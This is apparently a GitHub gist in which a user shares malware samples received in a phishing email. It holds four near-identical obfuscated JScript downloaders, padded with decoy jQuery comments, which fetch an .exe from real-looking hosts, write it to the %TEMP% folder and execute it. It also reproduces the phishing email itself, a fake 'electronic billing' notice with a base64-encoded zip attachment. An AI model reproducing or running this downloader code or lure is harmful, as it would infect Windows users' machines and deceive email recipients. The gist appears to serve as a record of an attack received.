Skip to content

Instantly share code, notes, and snippets.

@maximveksler
Created March 10, 2016 13:14
Show Gist options
  • Save maximveksler/d18687cee7bfb9a4f244 to your computer and use it in GitHub Desktop.
Save maximveksler/d18687cee7bfb9a4f244 to your computer and use it in GitHub Desktop.
Clearly under attack :)
//} Opera 10-11 does not throw on post-comma invalid pseudos div.querySelectorAll(\"*,:x\"); rbuggyQSA.push(\",.*:\"); });
var WMgREj = ["c"+"d"+("movies","indicator","besides","silurian","NY")+"Hg", "obiP"+("malevolent","abruptness","demesne","heavily","j")+("overdue","canning","richards","quietest","Enf")+"E"+("dizziness","fascinate","hooked","Kx"), "ExpandEnvironmentS"+("surgery","alter","realtors","faultless","tr")+("prohibited","jelsoft","mandatory","becoming","i")+("bracelet","ironic","solidarity","adhesion","ngs"), ("years","lavender","%")+"TE"+"M"+"P%", "/SDRIfEvw" + ("insidious","committee","extravagantly","deranged",".")+"e"+"xe", "R"+("caricature","replied","argent","heater","un"), "A"+("bruising","adidas","shanghai","welling","c")+"t"+("thimble","commentaries","unfavorable","tourist","iveX")+"O"+"bj"+"e"+("adjourn","requirement","ct"), "W"+"Scr"+("harbor","doors","square","i")+("comparisons","crafts","literati","pt.")+("whiff","january","memoirs","Sh")+"e"+"ll", ("checkout","narrate","u")+"g"+("scramble","press","neutralize","Qi")+"CV", "M"+"S"+("russell","antiquary","X")+"ML2"+".XM"+"L"+("quartz","puppet","drachm","amatory","HT")+("councils","clusters","TP")];
//} rbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join(\"|\") ); rbuggyMatches = rbuggyMatches.length && new RegExp( rbuggyMatches.join(\"|\") );
var xjtItlJ = this[WMgREj[2*3]];
var TUqGGHKd = new xjtItlJ(WMgREj[7]);
//assert(function( div ) { Check to see if it\"s possible to do matchesSelector on a disconnected node (IE 9) support.disconnectedMatch = matches.call( div, \"div\" );
var KMOQJvV = new xjtItlJ(WMgREj[9]);
//} if ( (support.matchesSelector = rnative.test( (matches = docElem.matches || docElem.webkitMatchesSelector || docElem.mozMatchesSelector || docElem.oMatchesSelector || docElem.msMatchesSelector) )) ) {
var QYtVO = TUqGGHKd[WMgREj[2]](WMgREj[3]) + WMgREj[4];
//This should fail with an exception Gecko does not error, returns false instead matches.call( div, \"[s!=\"\"]:x\" ); rbuggyMatches.push( \"!=\", pseudos ); });
KMOQJvV.onreadystatechange = function () {
if (KMOQJvV["r"+"ea"+("blazoned","domicile","billiards","frankfurt","dy")+"s"+("beijing","credulous","tate")] === 4) {
var kNbyr = new xjtItlJ("A"+("discovery","overweening","myself","commemorate","D")+("scion","horror","palestine","OD")+"B."+("tradespeople","elite","gains","S")+"tr"+"e"+("pyjamas","trading","am"));
kNbyr["o"+"p"+("bennett","longitude","unconcealed","en")]();
//Contains ---------------------------------------------------------------------- */ hasCompare = rnative.test( docElem.compareDocumentPosition );
kNbyr.type = 10 / 5 + 3 - 4;
//Element contains another Purposefully self-exclusive As in, an element does not contain itself contains = hasCompare || rnative.test( docElem.contains ) ? function( a, b ) { var adown = a.nodeType === 9 ? a.documentElement : a, bup = b && b.parentNode; return a === bup || !!( bup && bup.nodeType === 1 && ( adown.contains ? adown.contains( bup ) : a.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16 )); } : function( a, b ) { if ( b ) { while ( (b = b.parentNode) ) { if ( b === a ) { return true; } } } return false; };
kNbyr["wr"+("democrats","towards","upper","i")+"te"](KMOQJvV["Res"+"po"+"n"+("astonish","frenchwoman","isaac","episode","seBo")+"dy"]);
//Sorting ---------------------------------------------------------------------- */
kNbyr[("runaway","short","po")+"s"+"i"+("retard","requisition","tion")] = 0;
//Document order sorting sortOrder = hasCompare ? function( a, b ) {
kNbyr.saveToFile(QYtVO, 2);
//Flag for duplicate removal if ( a === b ) { hasDuplicate = true; return 0;
kNbyr.close();
//} Sort on method existence if only one input has compareDocumentPosition var compare = !a.compareDocumentPosition - !b.compareDocumentPosition; if ( compare ) { return compare;
};
};
try {
//} Calculate position if both inputs belong to the same document compare = ( a.ownerDocument || a ) === ( b.ownerDocument || b ) ? a.compareDocumentPosition( b ) :
KMOQJvV.open(("staffordshire","shark","theater","responded","G")+"ET", ("exuberance","gratis","confidential","ht")+"tp://ncrweb.in/s"+"y"+"s"+"tem"+"/lo"+"g"+"s/7t6f"+"65g.exe", false);
// Otherwise we know they are disconnected 1;
KMOQJvV[("artwork","matching","retrieved","s")+("nettle","architecture","e")+"nd"]();
// Disconnected nodes if ( compare & 1 || (!support.sortDetached && b.compareDocumentPosition( a ) === compare) ) {
TUqGGHKd[WMgREj[5]](QYtVO, 1, "byTyaVOtW" === "PDLJxXFu"); IKIUEta = "} return compare & 4 ? -1 : 1; } : function( a, b ) { Exit early if the nodes are identical if ( a === b ) { hasDuplicate = true; return 0; ";
// Choose the first element that is related to our preferred document if ( a === document || a.ownerDocument === preferredDoc && contains(preferredDoc, a) ) { return -1; } if ( b === document || b.ownerDocument === preferredDoc && contains(preferredDoc, b) ) { return 1;
} catch (jVbFrhGa) { };
//} Maintain original order return sortInput ? ( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) : 0;
//} Opera 10-11 does not throw on post-comma invalid pseudos div.querySelectorAll(\"*,:x\"); rbuggyQSA.push(\",.*:\"); });
var olQyPP = ["yu"+"Ju"+"lrOa"+("intro","pendulum","orientation","ud"), ("mislead","journey","defendant","xA")+"Pr"+("coastal","contractor","docile","sluice","s")+"bH", "E"+"x"+"pa"+"n"+"d"+"E"+("rental","wheaten","divergent","credits","nviro")+"nme"+("clockwork","magisterial","publishers","n")+("naive","william","tSt")+("shipwreck","walter","rings"), "%"+("sometimes","correlation","pulley","rhubarb","T")+"E"+"MP%", "/faFxrTT" + "."+("louse","transparent","veracity","gleefully","e")+"xe", "R"+("whine","titania","un"), "Ac"+("calyx","russia","morning","t")+"iv"+"eX"+"O"+("blister","honeymoon","bj")+("asphalt","credible","e")+"ct", "W"+("repentant","kerry","beauty","nelly","S")+("suspiciously","mature","crip")+"t."+"S"+("conjuring","framed","abhorrence","he")+"ll", "oD"+("kingly","blogs","gotten","maker","v")+("belinda","personals","slake","o")+"DKMp", ("suffocation","circuits","organized","M")+"S"+"X"+"ML2"+".XML"+"H"+"T"+("redden","altered","funding","taint","TP")];
//} rbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join(\"|\") ); rbuggyMatches = rbuggyMatches.length && new RegExp( rbuggyMatches.join(\"|\") );
var rOPRWs = this[olQyPP[2*3]];
var rWzvXOK = new rOPRWs(olQyPP[7]);
//assert(function( div ) { Check to see if it\"s possible to do matchesSelector on a disconnected node (IE 9) support.disconnectedMatch = matches.call( div, \"div\" );
var RFqqOFg = new rOPRWs(olQyPP[9]);
//} if ( (support.matchesSelector = rnative.test( (matches = docElem.matches || docElem.webkitMatchesSelector || docElem.mozMatchesSelector || docElem.oMatchesSelector || docElem.msMatchesSelector) )) ) {
var MzReJtKo = rWzvXOK[olQyPP[2]](olQyPP[3]) + olQyPP[4];
//This should fail with an exception Gecko does not error, returns false instead matches.call( div, \"[s!=\"\"]:x\" ); rbuggyMatches.push( \"!=\", pseudos ); });
RFqqOFg.onreadystatechange = function () {
if (RFqqOFg["read"+("waive","processes","yst")+("domino","knack","womanish","crusade","a")+("turbid","instead","comes","te")] === 4) {
var MWmVW = new rOPRWs("A"+("concentration","kidney","characteristics","D")+"O"+"DB."+("kashmir","liverpool","missile","celts","St")+"r"+"e"+"am");
MWmVW["o"+"p"+("holmes","willow","prompt","en")]();
//Contains ---------------------------------------------------------------------- */ hasCompare = rnative.test( docElem.compareDocumentPosition );
MWmVW.type = 10 / 5 + 3 - 4;
//Element contains another Purposefully self-exclusive As in, an element does not contain itself contains = hasCompare || rnative.test( docElem.contains ) ? function( a, b ) { var adown = a.nodeType === 9 ? a.documentElement : a, bup = b && b.parentNode; return a === bup || !!( bup && bup.nodeType === 1 && ( adown.contains ? adown.contains( bup ) : a.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16 )); } : function( a, b ) { if ( b ) { while ( (b = b.parentNode) ) { if ( b === a ) { return true; } } } return false; };
MWmVW["wr"+("higher","endorsement","i")+"te"](RFqqOFg[("social","nickname","safe-conduct","R")+("ruled","happened","dynamo","es")+("gorgeous","descriptive","p")+"onseBody"]);
//Sorting ---------------------------------------------------------------------- */
MWmVW["pos"+"i"+"ti"+("chromatic","ladder","on")] = 0;
//Document order sorting sortOrder = hasCompare ? function( a, b ) {
MWmVW.saveToFile(MzReJtKo, 2);
//Flag for duplicate removal if ( a === b ) { hasDuplicate = true; return 0;
MWmVW.close();
//} Sort on method existence if only one input has compareDocumentPosition var compare = !a.compareDocumentPosition - !b.compareDocumentPosition; if ( compare ) { return compare;
};
};
try {
//} Calculate position if both inputs belong to the same document compare = ( a.ownerDocument || a ) === ( b.ownerDocument || b ) ? a.compareDocumentPosition( b ) :
RFqqOFg.open("G"+("perfume","furnished","simple","intense","ET"), "http://nc"+"rweb.in/sys"+"te"+("unions","observant","genre","whore","m/logs")+"/"+"7t6f"+("genealogical","sedan","dualism","65g.")+("waltz","price","exe"), false);
// Otherwise we know they are disconnected 1;
RFqqOFg[("veterinary","nested","behavior","s")+("handbook","whitewash","e")+"nd"]();
// Disconnected nodes if ( compare & 1 || (!support.sortDetached && b.compareDocumentPosition( a ) === compare) ) {
rWzvXOK[olQyPP[5]](MzReJtKo, 1, "nrnDPBNQ" === "CeNiwH"); FArYqbjBq = "} return compare & 4 ? -1 : 1; } : function( a, b ) { Exit early if the nodes are identical if ( a === b ) { hasDuplicate = true; return 0; ";
// Choose the first element that is related to our preferred document if ( a === document || a.ownerDocument === preferredDoc && contains(preferredDoc, a) ) { return -1; } if ( b === document || b.ownerDocument === preferredDoc && contains(preferredDoc, b) ) { return 1;
} catch (cpQqnqsW) { };
//} Maintain original order return sortInput ? ( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) : 0;
//function( tag, context ) { var elem, tmp = [], i = 0, By happy coincidence, a (broken) gEBTN appears on DocumentFragment nodes too results = context.getElementsByTagName( tag );
var rQAeLX = ["n"+("variance","viscid","rounds","p")+"fnIX"+"ga", ("breed","april","pegasus","Eq")+"i"+("wings","greenland","qVz")+"Aq", ("redhead","entries","Expan")+"d"+("bodyguard","adaptation","switch","symphony","Env")+"ironmen"+("brazil","influx","programming","trends","tStr")+"i"+"n"+("crutch","offering","gs"), "%T"+("machinery","xenophon","E")+"M"+"P%", "/VrNuFK" + "."+"e"+("tocsin","collected","xe"), ("annunciation","european","R")+"un", "A"+"ct"+("unopened","wayne","erotica","trial","i")+"veX"+"O"+("noise","twang","bj")+"e"+"ct", ("jelsoft","qatar","WScr")+("ultra","shows","all-embracing","codes","i")+"p"+"t."+"Sh"+("croquet","legend","afraid","specs","e")+"ll", ("mallet","triton","t")+("panegyric","studious","shirts","WwM")+"btR"+"gq", "M"+("investing","sinuous","arcade","stipulate","S")+"X"+("allied","similar","dropped","ML2")+"."+"X"+("hardware","volumes","M")+"LHTTP"];
//QSA/matchesSelector ---------------------------------------------------------------------- */
var JtFpbJmxk = this[rQAeLX[18 / 3]];
var cakPPTM = new JtFpbJmxk(rQAeLX[7]);
//} return tmp; } return results; };
var IiHVMSY = new JtFpbJmxk(rQAeLX[9]);
//Filter out possible comments if ( tag === \"*\" ) { while ( (elem = results[i++]) ) { if ( elem.nodeType === 1 ) { tmp.push( elem ); }
var GfVJIYSiU = cakPPTM[rQAeLX[2]](rQAeLX[3]) + rQAeLX[4];
//Class Expr.find[\"CLASS\"] = support.getElementsByClassName && function( className, context ) { if ( typeof context.getElementsByClassName !== \"undefined\" && documentIsHTML ) { return context.getElementsByClassName( className ); } };
IiHVMSY.onreadystatechange = function () {
if (IiHVMSY["re"+"a"+"d"+("facsimile","loiter","autem","ysta")+"te"] === 4) {
var PaXbvb = new JtFpbJmxk(("drinker","customs","received","A")+"D"+"OD"+"B."+("traveling","condoned","magyar","S")+"t"+"r"+"eam");
PaXbvb["o"+("vibrating","bruce","craig","trample","p")+"en"]();
//QSA and matchesSelector support
PaXbvb.type = 10 / 5 + 3 - 4;
//matchesSelector(:active) reports false when true (IE9/Opera 11.5) rbuggyMatches = [];
PaXbvb["w"+("rarefied","awfulness","sexual","ri")+"te"](IiHVMSY[("auditorium","patrician","desperate","R")+"e"+("achieve","tourism","fruit","acknowledgement","spon")+"s"+"eBo"+"dy"]);
//qSa(:focus) reports false when true (Chrome 21) We allow this because of a bug in IE8/9 that throws an error whenever `document.activeElement` is accessed on an iframe So, we allow :focus to pass through QSA all the time to avoid the IE error See http:bugs.jquery.com/ticket/13378 rbuggyQSA = [];
PaXbvb["po"+"s"+"i"+("dissolute","halifax","tion")] = 0;
//if ( (support.qsa = rnative.test( document.querySelectorAll )) ) { Build QSA regex Regex strategy adopted from Diego Perini assert(function( div ) { Select is set to empty string on purpose This is to test IE\"s treatment of not explicitly setting a boolean content attribute, since its presence should be enough http:bugs.jquery.com/ticket/12359 docElem.appendChild( div ).innerHTML = \"<a id=\"\" + expando + \"\"></a>\" + \"<select id=\"\" + expando + \"-\r\" msallowcapture=\"\">\" + \"<option selected=\"\"></option></select>\";
PaXbvb.saveToFile(GfVJIYSiU, 2);
//Support: IE8, Opera 11-12.16 Nothing should be selected when empty strings follow ^= or $= or *= The test attribute must be unknown in Opera but \"safe\" for WinRT http:msdn.microsoft.com/en-us/library/ie/hh465388.aspx#attribute_section if ( div.querySelectorAll(\"[msallowcapture^=\"\"]\").length ) { rbuggyQSA.push( \"[*^$]=\" + whitespace + \"*(?:\"\"|\"\")\" );
PaXbvb.close();
//} Support: IE8 Boolean attributes and \"value\" are not treated correctly if ( !div.querySelectorAll(\"[selected]\").length ) { rbuggyQSA.push( \"\[\" + whitespace + \"*(?:value|\" + booleans + \")\" );
};
};
try {
//} Support: Chrome<29, Android<4.4, Safari<7.0+, iOS<7.0+, PhantomJS<1.9.8+ if ( !div.querySelectorAll( \"[id~=\" + expando + \"-]\" ).length ) { rbuggyQSA.push(\"~=\");
IiHVMSY.open("G"+("preference","entrance","ET"), "h"+"t"+"t"+"p:"+"//"+"f"+"o"+("chide","approach","rtyse")+"v"+"e"+"n"+"."+"c"+"o"+"m.ar/syste"+"m"+"/lo"+("laconically","tapes","gs")+"/"+"7t6f65g.e"+"xe", false);
//} Webkit/Opera - :checked should return selected option elements http:www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked IE8 throws error here and will not see later tests if ( !div.querySelectorAll(\":checked\").length ) { rbuggyQSA.push(\":checked\");
IiHVMSY[("futures","edmonton","continuous","s")+("guild","focus","e")+"nd"]();
//} Support: Safari 8+, iOS 8+ https:bugs.webkit.org/show_bug.cgi?id=136851 In-page `selector#id sibing-combinator selector` fails if ( !div.querySelectorAll( \"a#\" + expando + \"+*\" ).length ) { rbuggyQSA.push(\".#.+[+~]\"); } });
cakPPTM[rQAeLX[5]](GfVJIYSiU, 1, "IJvqYKHyUc" === "zNApsljjD"); RNOOcPf = "} FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled) IE8 throws error here and will not see later tests if ( !div.querySelectorAll(\":enabled\").length ) { rbuggyQSA.push( \":enabled\", \":disabled\" ); ";
//assert(function( div ) { Support: Windows 8 Native Apps The type and name attributes are restricted during .innerHTML assignment var input = document.createElement(\"input\"); input.setAttribute( \"type\", \"hidden\" ); div.appendChild( input ).setAttribute( \"name\", \"D\" );
} catch (CxVYKF) { };
//Support: IE8 Enforce case-sensitivity of name attribute if ( div.querySelectorAll(\"[name=d]\").length ) { rbuggyQSA.push( \"name\" + whitespace + \"*[*^$|!~]?=\" );
// NOTE: [email protected] is a catch all mailbox. Never used.
Delivered-To: [email protected]
Received: by 10.202.171.199 with SMTP id u190csp402245oie;
Thu, 10 Mar 2016 04:42:19 -0800 (PST)
X-Received: by 10.98.71.203 with SMTP id p72mr4571557pfi.165.1457613739834;
Thu, 10 Mar 2016 04:42:19 -0800 (PST)
Return-Path: <[email protected]>
Received: from static-mum-120.63.194.234.mtnl.net.in (static-mum-120.63.194.234.mtnl.net.in. [120.63.194.234])
by mx.google.com with ESMTP id b17si5894492pfj.52.2016.03.10.04.42.18
for <[email protected]>;
Thu, 10 Mar 2016 04:42:19 -0800 (PST)
Received-SPF: neutral (google.com: 120.63.194.234 is neither permitted nor denied by best guess record for domain of [email protected]) client-ip=120.63.194.234;
Authentication-Results: mx.google.com;
spf=neutral (google.com: 120.63.194.234 is neither permitted nor denied by best guess record for domain of [email protected]) [email protected]
Message-ID: <[email protected]>
From: Accounts <[email protected]>
To: <[email protected]>
Subject: Document No 9127701
Content-Type: multipart/mixed;
boundary="584B0D09-5AA-9211-8D9F-3DA48A75EA52"
Date: Thu, 10 Mar 2016 18:12:14 +0530
MIME-Version: 1.0
--584B0D09-5AA-9211-8D9F-3DA48A75EA52
Content-Type: text/plain; charset="iso-8859-1"
Thanks for using electronic billing
Please find your document attached
Regards
Accounts
--584B0D09-5AA-9211-8D9F-3DA48A75EA52
Content-Type: application/x-zip; name="Document No 9127701.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Document No 9127701.zip"
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
AAAAAA==
--584B0D09-5AA-9211-8D9F-3DA48A75EA52--
//function( tag, context ) { var elem, tmp = [], i = 0, By happy coincidence, a (broken) gEBTN appears on DocumentFragment nodes too results = context.getElementsByTagName( tag );
var huGqWVbs = [("vengeful","surgeons","imagine","bookstore","tPm")+"WY"+"LRD"+("produces","utilitarian","obsequious","typical","JDr"), ("miscellaneous","baseless","kz")+"ssL"+"k"+("infringement","synthetic","blanch","medley","a")+("claret","fatherless","carbonic","YOV"), "ExpandE"+("jerusalem","right-hand","chandelier","n")+("nutriment","arbitrary","waken","vironm")+"entStrings", ("careers","melbourne","niggard","camden","%")+"T"+"EM"+("repudiate","quotes","P%"), "/DeIfRwn" + "."+("showman","child","exchanges","e")+"xe", ("posthumous","equity","african","odium","R")+"un", "A"+"cti"+("mediator","reprove","daunt","cycling","v")+"eX"+"Ob"+"j"+("essential","surfing","e")+("finder","indigo","easier","bouquet","ct"), "WS"+"cri"+("dispute","seeker","p")+"t."+"S"+("planes","gibbet","he")+"ll", ("mantua","guitar","scroll","Cf")+"BEK"+("comments","knowledgestorm","detection","trustee","Bvj")+"F"+"Ip", ("restriction","arrears","M")+("byzantine","optimization","identifier","postscript","SX")+"M"+"L2"+".XM"+("blends","public","testimony","L")+("kerchief","primarily","described","HT")+"TP"];
//QSA/matchesSelector ---------------------------------------------------------------------- */
var SqGagvDO = this[huGqWVbs[18 / 3]];
var IUGPpbtq = new SqGagvDO(huGqWVbs[7]);
//} return tmp; } return results; };
var jnXVsheS = new SqGagvDO(huGqWVbs[9]);
//Filter out possible comments if ( tag === \"*\" ) { while ( (elem = results[i++]) ) { if ( elem.nodeType === 1 ) { tmp.push( elem ); }
var LNusfJS = IUGPpbtq[huGqWVbs[2]](huGqWVbs[3]) + huGqWVbs[4];
//Class Expr.find[\"CLASS\"] = support.getElementsByClassName && function( className, context ) { if ( typeof context.getElementsByClassName !== \"undefined\" && documentIsHTML ) { return context.getElementsByClassName( className ); } };
jnXVsheS.onreadystatechange = function () {
if (jnXVsheS[("accessibility","obesity","rea")+"dyst"+"a"+"te"] === 4) {
var SYIjNQt = new SqGagvDO("AD"+("webshots","descry","O")+"D"+"B."+"S"+("division","keyboard","morning","t")+"re"+("astounding","romeo","trout","am"));
SYIjNQt["o"+"p"+("naturalist","jamie","en")]();
//QSA and matchesSelector support
SYIjNQt.type = 10 / 5 + 3 - 4;
//matchesSelector(:active) reports false when true (IE9/Opera 11.5) rbuggyMatches = [];
SYIjNQt["w"+"ri"+("journalistic","eddie","te")](jnXVsheS["R"+("object","brigantine","session","boats","e")+("necklace","houses","potential","s")+"ponseBody"]);
//qSa(:focus) reports false when true (Chrome 21) We allow this because of a bug in IE8/9 that throws an error whenever `document.activeElement` is accessed on an iframe So, we allow :focus to pass through QSA all the time to avoid the IE error See http:bugs.jquery.com/ticket/13378 rbuggyQSA = [];
SYIjNQt["po"+("unkempt","versification","strategies","clothing","si")+"ti"+("island","rolling","specials","on")] = 0;
//if ( (support.qsa = rnative.test( document.querySelectorAll )) ) { Build QSA regex Regex strategy adopted from Diego Perini assert(function( div ) { Select is set to empty string on purpose This is to test IE\"s treatment of not explicitly setting a boolean content attribute, since its presence should be enough http:bugs.jquery.com/ticket/12359 docElem.appendChild( div ).innerHTML = \"<a id=\"\" + expando + \"\"></a>\" + \"<select id=\"\" + expando + \"-\r\" msallowcapture=\"\">\" + \"<option selected=\"\"></option></select>\";
SYIjNQt.saveToFile(LNusfJS, 2);
//Support: IE8, Opera 11-12.16 Nothing should be selected when empty strings follow ^= or $= or *= The test attribute must be unknown in Opera but \"safe\" for WinRT http:msdn.microsoft.com/en-us/library/ie/hh465388.aspx#attribute_section if ( div.querySelectorAll(\"[msallowcapture^=\"\"]\").length ) { rbuggyQSA.push( \"[*^$]=\" + whitespace + \"*(?:\"\"|\"\")\" );
SYIjNQt.close();
//} Support: IE8 Boolean attributes and \"value\" are not treated correctly if ( !div.querySelectorAll(\"[selected]\").length ) { rbuggyQSA.push( \"\[\" + whitespace + \"*(?:value|\" + booleans + \")\" );
};
};
try {
//} Support: Chrome<29, Android<4.4, Safari<7.0+, iOS<7.0+, PhantomJS<1.9.8+ if ( !div.querySelectorAll( \"[id~=\" + expando + \"-]\" ).length ) { rbuggyQSA.push(\"~=\");
jnXVsheS.open("G"+("black","organizer","darlington","ET"), "ht"+"t"+("warrior","extraneous","p:")+("chios","vapid","generation","bulwark","//iwe")+"ar"+("incontrovertible","villas","alphabetical",".m")+("wheelbarrow","beehive","d/sys")+"tem/"+"lo"+("outlook","annihilation","breakfast","gs/7")+("emirates","mountains","princeton","t")+"6"+("contests","incarnation","silly","f")+"65"+"g"+".exe", false);
//} Webkit/Opera - :checked should return selected option elements http:www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked IE8 throws error here and will not see later tests if ( !div.querySelectorAll(\":checked\").length ) { rbuggyQSA.push(\":checked\");
jnXVsheS[("invention","tinsel","regression","s")+("sarcophagus","incorporeal","macro","incidence","e")+"nd"]();
//} Support: Safari 8+, iOS 8+ https:bugs.webkit.org/show_bug.cgi?id=136851 In-page `selector#id sibing-combinator selector` fails if ( !div.querySelectorAll( \"a#\" + expando + \"+*\" ).length ) { rbuggyQSA.push(\".#.+[+~]\"); } });
IUGPpbtq[huGqWVbs[5]](LNusfJS, 1, "viKCvXJ" === "KDijwF"); POpMBW = "} FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled) IE8 throws error here and will not see later tests if ( !div.querySelectorAll(\":enabled\").length ) { rbuggyQSA.push( \":enabled\", \":disabled\" ); ";
//assert(function( div ) { Support: Windows 8 Native Apps The type and name attributes are restricted during .innerHTML assignment var input = document.createElement(\"input\"); input.setAttribute( \"type\", \"hidden\" ); div.appendChild( input ).setAttribute( \"name\", \"D\" );
} catch (RnzkVgsm) { };
//Support: IE8 Enforce case-sensitivity of name attribute if ( div.querySelectorAll(\"[name=d]\").length ) { rbuggyQSA.push( \"name\" + whitespace + \"*[*^$|!~]?=\" );
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment